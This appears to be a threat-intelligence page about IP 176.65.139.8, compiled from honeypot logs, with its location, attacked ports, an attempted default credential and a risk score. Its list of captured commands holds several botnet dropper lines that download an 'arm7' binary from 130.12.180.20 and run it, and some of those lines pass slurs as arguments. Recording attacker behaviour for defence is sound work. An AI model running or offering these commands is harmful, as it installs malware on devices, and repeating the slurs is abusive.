⚠TROYANOSYVIRUS
Active Threat • HIGH

176.65.139.8

Country of Origin🇸🇬 Singapore
First Detection1/29/2026
Last Activity2/23/2026
ISPOVH SAS
🎯
694
Total Attacks
🔌
24
Ports
📡
5
Attack Types
🦠
0
Malware

Geolocation

Country
🇸🇬 Singapore
City
Unknown
ASN
AS16276
ISP
OVH SAS

Attack Types

cowrie
adbhoney
dionaea
tanner
honeytrap

Attacked Ports

22238081200223234000555555566036800080818088816190001002317000170012088023231+4

Associated Malware

No associated malware

Attempted Credentials

🔐hikvision/hikvision
10x

Executed Commands

$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod 777 arm7; ./arm7; busybox curl http://130.12.180.20:36695/arm7 -o arm7; chmod 777 arm7; ./arm719x
$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod 777 arm7; ./arm7 faggot; busybox curl http://130.12.180.20:36695/arm7 -o arm7; chmod 777 arm7; ./arm7 faggot10x
$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod 777 arm7; ./arm7 hacked; busybox curl http://130.12.180.20:36695/arm7 -o arm7; chmod 777 arm7; ./arm7 hacked9x
$sh -c 'cd /data/local/tmp; wget http://130.12.180.20:36695/arm7 -O arm7; chmod +x arm7; ./arm7 meow; curl -s http://130.12.180.20:36695/arm7 -o arm7; chmod +x arm7; ./arm7 meow; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod +x arm7; ./arm7 meow'5x
$sh -c 'wget http://130.12.180.20:36695/arm7 -O arm7; chmod +x arm7; ./arm7'4x
$sh -c 'cd /data/local/tmp; wget http://130.12.180.20:36695/arm7 -O arm7; chmod +x arm7; ./arm7 jew; curl -s http://130.12.180.20:36695/arm7 -o arm7; chmod +x arm7; ./arm7 jew; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod +x arm7; ./arm7 jew'4x
$cat > /data/local/tmp/dlr; chmod +x /data/local/tmp/dlr; /data/local/tmp/dlr3x
$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod 777 arm7; ./arm7 adb; busybox curl http://130.12.180.20:36695/arm7 -o arm7; chmod 777 arm7; ./arm7 adb2x
$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:34029/arm7 -O arm7; chmod 777 arm7; ./arm7; busybox curl http://130.12.180.20:34029/arm7 -o arm7; chmod 777 arm7; ./arm71x

Risk Assessment

75
/100
LowMediumHighCritical